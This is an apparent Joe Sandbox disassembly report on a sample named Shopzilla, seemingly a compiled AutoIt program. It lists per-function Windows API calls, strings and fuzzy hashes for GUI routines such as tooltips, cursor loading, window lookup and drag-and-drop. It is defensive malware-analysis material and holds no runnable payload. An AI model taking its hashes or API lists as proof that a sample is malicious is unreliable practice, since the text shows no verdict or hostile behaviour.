Opcode ID: fb34fa47f1e51cc549931d1bd9309effb29cd0d76c1a517617e72017ba78354b
Instruction ID: 10a4905f29f651c065ac1f5e2919a759730fac734c35601c4aa5b46e852a5890
Opcode Fuzzy Hash: fb34fa47f1e51cc549931d1bd9309effb29cd0d76c1a517617e72017ba78354b
Instruction Fuzzy Hash: FAE19F75901229AFDF209F91DC85FEE7BB8FF05710F10815AF925AA690DB708A84DF60

Function 00C24C94 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00C24DCF
GetDesktopWindow.USER32 ref: 00C24DE4
GetWindowRect.USER32(00000000), ref: 00C24DEB
GetWindowLongW.USER32(?,000000F0), ref: 00C24E4D
DestroyWindow.USER32(?), ref: 00C24E79
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00C24EA2
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00C24EC0
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00C24EE6
SendMessageW.USER32(?,00000421,?,?), ref: 00C24EFB
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00C24F0E
IsWindowVisible.USER32(?), ref: 00C24F2E
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00C24F49
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00C24F5D
GetWindowRect.USER32(?,?), ref: 00C24F75
MonitorFromPoint.USER32(?,?,00000002), ref: 00C24F9B
GetMonitorInfoW.USER32(00000000,?), ref: 00C24FB5
CopyRect.USER32(?,?), ref: 00C24FCC
SendMessageW.USER32(?,00000412,00000000), ref: 00C25037

Strings

0, xrefs: 00C24D7A
tooltips_class32, xrefs: 00C24E9B
(, xrefs: 00C24FA8

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 02ebdb4b1e223c250846e8c0dcc24f4ff2185581e9846c12f1b2907013069589
Instruction ID: 25d5c6fe53d284b6be4aece87571c905edf68d5b58b51f4dbaf45488bc3fed7a
Opcode Fuzzy Hash: 02ebdb4b1e223c250846e8c0dcc24f4ff2185581e9846c12f1b2907013069589
Instruction Fuzzy Hash: 9DB18971608750AFDB14DF64D845B6EBBE4BF84310F008A1CF9999B2A1DB71ED05CB92

Function 00C047F7 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00C04809
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00C0482F
_wcscpy.LIBCMT ref: 00C0485D
_wcscmp.LIBCMT ref: 00C04868
_wcscat.LIBCMT ref: 00C0487E
_wcsstr.LIBCMT ref: 00C04889
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00C048A5
_wcscat.LIBCMT ref: 00C048EE
_wcscat.LIBCMT ref: 00C048F5
_wcsncpy.LIBCMT ref: 00C04920

Strings

\VarFileInfo\Translation, xrefs: 00C0489D
04090000, xrefs: 00C048DB
StringFileInfo\, xrefs: 00C04878
DefaultLangCodepage, xrefs: 00C04908
%u.%u.%u.%u, xrefs: 00C04983

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 2519551f74804be60ce493502fe84667d093b538f2c0111884128d59eed4f609
Instruction ID: 523d3664bdb383a49ca56201a8ef7a976e48d7294cda9b2b251369b1ecd15946
Opcode Fuzzy Hash: 2519551f74804be60ce493502fe84667d093b538f2c0111884128d59eed4f609
Instruction Fuzzy Hash: E341F372A04204BBEB15BB649C43FBF77ECDF41710F1045AEF904A61D2EB749A0186A5

Function 00BA2BA9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00BA2C8C
GetSystemMetrics.USER32(00000007), ref: 00BA2C94
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00BA2CBF
GetSystemMetrics.USER32(00000008), ref: 00BA2CC7
GetSystemMetrics.USER32(00000004), ref: 00BA2CEC
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00BA2D09
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00BA2D19
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00BA2D4C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00BA2D60
GetClientRect.USER32(00000000,000000FF), ref: 00BA2D7E
GetStockObject.GDI32(00000011), ref: 00BA2D9A
SendMessageW.USER32(00000000,00000030,00000000), ref: 00BA2DA5

Part of subcall function 00BA2714: GetCursorPos.USER32(?), ref: 00BA2727
Part of subcall function 00BA2714: ScreenToClient.USER32(00C667B0,?), ref: 00BA2744
Part of subcall function 00BA2714: GetAsyncKeyState.USER32(00000001), ref: 00BA2769
Part of subcall function 00BA2714: GetAsyncKeyState.USER32(00000002), ref: 00BA2777

SetTimer.USER32(00000000,00000000,00000028,00BA1473), ref: 00BA2DCC

Strings

AutoIt v3 GUI, xrefs: 00BA2D44

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: aa3b8a01bf27640aadb280aa6bb565509354484cbea328dea8c9246df67b1215
Instruction ID: 6ada0515d5dcbe548fc530230936489661b4a5bcde1968836422e4646eb9ecd4
Opcode Fuzzy Hash: aa3b8a01bf27640aadb280aa6bb565509354484cbea328dea8c9246df67b1215
Instruction Fuzzy Hash: 0FB16D71A0420AAFDB14DFA8DC95BADBBF5FB08324F104169FA15A7290DB74E850CF94

Function 00BC0354 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 348COMMON

Download Yara Rule

APIs

Part of subcall function 00BB1821: _memmove.LIBCMT ref: 00BB185B

GetForegroundWindow.USER32(00C30980,?,?,?,?,?), ref: 00BC040E
IsWindow.USER32(?), ref: 00BF64A0

Strings

REGEXPTITLE, xrefs: 00BF6299
INSTANCE, xrefs: 00BF63DF
ACTIVE, xrefs: 00BF626D
CLASS, xrefs: 00BF62CA
TITLE, xrefs: 00BF6435
ALL, xrefs: 00BF6407
REGEXPCLASS, xrefs: 00BF62EB
LAST, xrefs: 00BF6257
HANDLE, xrefs: 00BF6283

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: 78ced484f1246ab99cacb164187da0ee10ffce63633524f317be1216fcbc4727
Instruction ID: 56c34ceb633796080dcb556c49bfda9e78e5d9e174fcd273568fb97781294ead
Opcode Fuzzy Hash: 78ced484f1246ab99cacb164187da0ee10ffce63633524f317be1216fcbc4727
Instruction Fuzzy Hash: 78D1D470104206EBCB08FF24C491ABABBE4FF54344F504A9DFA56536A2DB70E99DCB91

Function 00C241E7 Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00C24274
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00C24334

Strings

ISSELECTED, xrefs: 00C2433F
SELECTALL, xrefs: 00C2439B
GETITEMCOUNT, xrefs: 00C242A6
SELECTINVERT, xrefs: 00C24404
SELECT, xrefs: 00C243CE
VIEWCHANGE, xrefs: 00C244F3
GETSELECTED, xrefs: 00C24462
DESELECT, xrefs: 00C24422
GETTEXT, xrefs: 00C242DD
GETSUBITEMCOUNT, xrefs: 00C242BF
SELECTCLEAR, xrefs: 00C243B3
GETSELECTEDCOUNT, xrefs: 00C24317
FINDITEM, xrefs: 00C244A7

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: e7002a333c53c4fc30756b9cbe8bc5a55e4b2671ff903cf555858f6c905cbdc2
Instruction ID: 29564d804bb3e6305b25bfbf47624ca6e13f8d1ad89505cfaad26dd4176fbf82
Opcode Fuzzy Hash: e7002a333c53c4fc30756b9cbe8bc5a55e4b2671ff903cf555858f6c905cbdc2
Instruction Fuzzy Hash: 45A16B702142119FCB18EF21D852F7AB3E5FF85314F104AA8B9A69B6D2DB70ED09CB51

Function 00BFAF1D Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00BFAF5E
__swprintf.LIBCMT ref: 00BFAFFF
_wcscmp.LIBCMT ref: 00BFB012
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00BFB067
_wcscmp.LIBCMT ref: 00BFB0A3
GetClassNameW.USER32(?,?,00000400), ref: 00BFB0DA
GetDlgCtrlID.USER32(?), ref: 00BFB12C
GetWindowRect.USER32(?,?), ref: 00BFB162
GetParent.USER32(?), ref: 00BFB180
ScreenToClient.USER32(00000000), ref: 00BFB187
GetClassNameW.USER32(?,?,00000100), ref: 00BFB201
_wcscmp.LIBCMT ref: 00BFB215
GetWindowTextW.USER32(?,?,00000400), ref: 00BFB23B
_wcscmp.LIBCMT ref: 00BFB24F

Part of subcall function 00BC378E: _iswctype.LIBCMT ref: 00BC3796

Strings

%s%u, xrefs: 00BFAFF9

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: d5ce0a88c3e1fbe72f66ddb1d7bd4ed6d58bb39d281bc8689d9fdff53bf645cb
Instruction ID: 24e9e075db4e9ccd2e797eb9ea99bbee67b50c1e277b9a839524e619f2651dec
Opcode Fuzzy Hash: d5ce0a88c3e1fbe72f66ddb1d7bd4ed6d58bb39d281bc8689d9fdff53bf645cb
Instruction Fuzzy Hash: 1CA1CD7120420AABD714DF64C894FBEBBE8FF44354F108669FA99D3190DB30EA59CB91

Function 00BFB850 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00BFB894
_wcscmp.LIBCMT ref: 00BFB8A5
GetWindowTextW.USER32(00000001,?,00000400), ref: 00BFB8CD
CharUpperBuffW.USER32(?,00000000), ref: 00BFB8EA
_wcscmp.LIBCMT ref: 00BFB908
_wcsstr.LIBCMT ref: 00BFB919
GetClassNameW.USER32(00000018,?,00000400), ref: 00BFB951
_wcscmp.LIBCMT ref: 00BFB961
GetWindowTextW.USER32(00000002,?,00000400), ref: 00BFB988
GetClassNameW.USER32(00000018,?,00000400), ref: 00BFB9D1
_wcscmp.LIBCMT ref: 00BFB9E1
GetClassNameW.USER32(00000010,?,00000400), ref: 00BFBA09
GetWindowRect.USER32(00000004,?), ref: 00BFBA72

Strings

@, xrefs: 00BFB875
ThumbnailClass, xrefs: 00BFB95C, 00BFB9DC

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 140b8c175cddb05ffda3f389e5547f87a39bdc30aa5aacce20ec25603e3ad739
Instruction ID: 87b3d43d6172fd927cbb3803204da059e370d481dcd87c7fc8d35f024362f2c2
Opcode Fuzzy Hash: 140b8c175cddb05ffda3f389e5547f87a39bdc30aa5aacce20ec25603e3ad739
Instruction Fuzzy Hash: BB819E72108209ABDB04DF14C991FBA7BECEF84714F1484A9FE859B096DB70DD49CBA1

Function 00BFB699 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00BFB6F8

Strings

[CLASS:, xrefs: 00BFB748
ACTIVE, xrefs: 00BFB6D3
CLASSNAME=, xrefs: 00BFB735
HANDLE=, xrefs: 00BFB6F1
REGEXP=, xrefs: 00BFB70D
[ALL, xrefs: 00BFB79E
ALL, xrefs: 00BFB78C
LAST, xrefs: 00BFB6BD
[REGEXPTITLE:, xrefs: 00BFB720
[HANDLE:, xrefs: 00BFB704
[LAST, xrefs: 00BFB7A5
[ACTIVE, xrefs: 00BFB6E5

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 1e87f934a850bbb20d52a3e4ffd8332aec02b4fcc4730945362cd35dec300b5d
Instruction ID: e5699eedd696dccc372ca6bdff731cc0aabbddd1158f248fb672a9a907fdc26e
Opcode Fuzzy Hash: 1e87f934a850bbb20d52a3e4ffd8332aec02b4fcc4730945362cd35dec300b5d
Instruction Fuzzy Hash: EB31C135940209AADA10FA64CC93EFD73E8EF10752FA005BAF902720D2EFA15E4C9755

Function 00BFC97A Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00BFC98D
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00BFC99F
SetWindowTextW.USER32(?,?), ref: 00BFC9B6
GetDlgItem.USER32(?,000003EA), ref: 00BFC9CB
SetWindowTextW.USER32(00000000,?), ref: 00BFC9D1
GetDlgItem.USER32(?,000003E9), ref: 00BFC9E1
SetWindowTextW.USER32(00000000,?), ref: 00BFC9E7
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00BFCA08
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00BFCA22
GetWindowRect.USER32(?,?), ref: 00BFCA2B
SetWindowTextW.USER32(?,?), ref: 00BFCA96
GetDesktopWindow.USER32 ref: 00BFCA9C
GetWindowRect.USER32(00000000), ref: 00BFCAA3
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00BFCAEF
GetClientRect.USER32(?,?), ref: 00BFCAFC
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00BFCB21
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00BFCB4C

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 2bae1a5af217c3f4b4dd994c98672264282447b1d3745faa367bd2a2c3fffe4c
Instruction ID: 8443e51abb17773165fe39f816393819a13ae2e47f2f8a704fd099d886c5e4b6
Opcode Fuzzy Hash: 2bae1a5af217c3f4b4dd994c98672264282447b1d3745faa367bd2a2c3fffe4c
Instruction Fuzzy Hash: 86517B3190070DAFDB20DFA8CE86B6EBBF5FF44705F104958E686A39A4C774A958CB50

Function 00C154AD Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 00C154C3
LoadCursorW.USER32(00000000,00007F00), ref: 00C154CE
LoadCursorW.USER32(00000000,00007F03), ref: 00C154D9
LoadCursorW.USER32(00000000,00007F8B), ref: 00C154E4
LoadCursorW.USER32(00000000,00007F01), ref: 00C154EF
LoadCursorW.USER32(00000000,00007F81), ref: 00C154FA
LoadCursorW.USER32(00000000,00007F88), ref: 00C15505
LoadCursorW.USER32(00000000,00007F80), ref: 00C15510
LoadCursorW.USER32(00000000,00007F86), ref: 00C1551B
LoadCursorW.USER32(00000000,00007F83), ref: 00C15526
LoadCursorW.USER32(00000000,00007F85), ref: 00C15531
LoadCursorW.USER32(00000000,00007F82), ref: 00C1553C
LoadCursorW.USER32(00000000,00007F84), ref: 00C15547
LoadCursorW.USER32(00000000,00007F04), ref: 00C15552
LoadCursorW.USER32(00000000,00007F02), ref: 00C1555D
LoadCursorW.USER32(00000000,00007F89), ref: 00C15568
GetCursorInfo.USER32(?), ref: 00C15578

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 03b00c292a03a507f73ddeda31e5ad93bb3ccd236adac5e5e97695b23f8fc061
Instruction ID: 0c1e33a807955e0928f5126e49267652db54085b0977734850a6f0e6d8164db1
Opcode Fuzzy Hash: 03b00c292a03a507f73ddeda31e5ad93bb3ccd236adac5e5e97695b23f8fc061
Instruction Fuzzy Hash: 693115B1D08319AADF109FB68C8999FBFE9FF44750F50452AA51CE7280DB78A5408F91

Function 00C2A5A6 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C2A646
DestroyWindow.USER32(00000000,?), ref: 00C2A6C0

Part of subcall function 00BB1821: _memmove.LIBCMT ref: 00BB185B

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00C2A73A
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00C2A75C
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00C2A76F
DestroyWindow.USER32(00000000), ref: 00C2A791
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00BA0000,00000000), ref: 00C2A7C8
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00C2A7E1
GetDesktopWindow.USER32 ref: 00C2A7FA
GetWindowRect.USER32(00000000), ref: 00C2A801
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00C2A819
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00C2A831

Part of subcall function 00BA29AB: GetWindowLongW.USER32(?,000000EB), ref: 00BA29BC

Strings

tooltips_class32, xrefs: 00C2A733, 00C2A7C1
0, xrefs: 00C2A65C

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: e3e2ea65e422f8525493bcf08ae9fb39aaf9d668ce8815ac43d668d6d7f99b65
Instruction ID: 791d9b6334391ceb6801afeca7849f47add8e17672e48442d30b12d952d9b969
Opcode Fuzzy Hash: e3e2ea65e422f8525493bcf08ae9fb39aaf9d668ce8815ac43d668d6d7f99b65
Instruction Fuzzy Hash: EF718671140305AFEB21CF28DC59FAA7BF9FB88704F140A1DF995872A1D770AA06CB52

Function 00C2CA21 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BA29F3

DragQueryPoint.SHELL32(?,?), ref: 00C2CA4A

Part of subcall function 00C2AF24: ClientToScreen.USER32(?,?), ref: 00C2AF4D
Part of subcall function 00C2AF24: GetWindowRect.USER32(?,?), ref: 00C2AFC3
Part of subcall function 00C2AF24: PtInRect.USER32(?,?,00C2C437), ref: 00C2AFD3

SendMessageW.USER32(?,000000B0,?,?), ref: 00C2CAB3
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00C2CABE
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00C2CAE1
_wcscat.LIBCMT ref: 00C2CB11
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00C2CB28
SendMessageW.USER32(?,000000B0,?,?), ref: 00C2CB41
SendMessageW.USER32(?,000000B1,?,?), ref: 00C2CB58
SendMessageW.USER32(?,000000B1,?,?), ref: 00C2CB7A
DragFinish.SHELL32(?), ref: 00C2CB81
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00C2CC74

Strings

@GUI_DRAGFILE, xrefs: 00C2CC23
@GUI_DRAGID, xrefs: 00C2CBEC
@GUI_DROPID, xrefs: 00C2CBA1

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 7bfd01963959e20e389ef95608e992e65803be97f77f8d3bba84237834f4359c
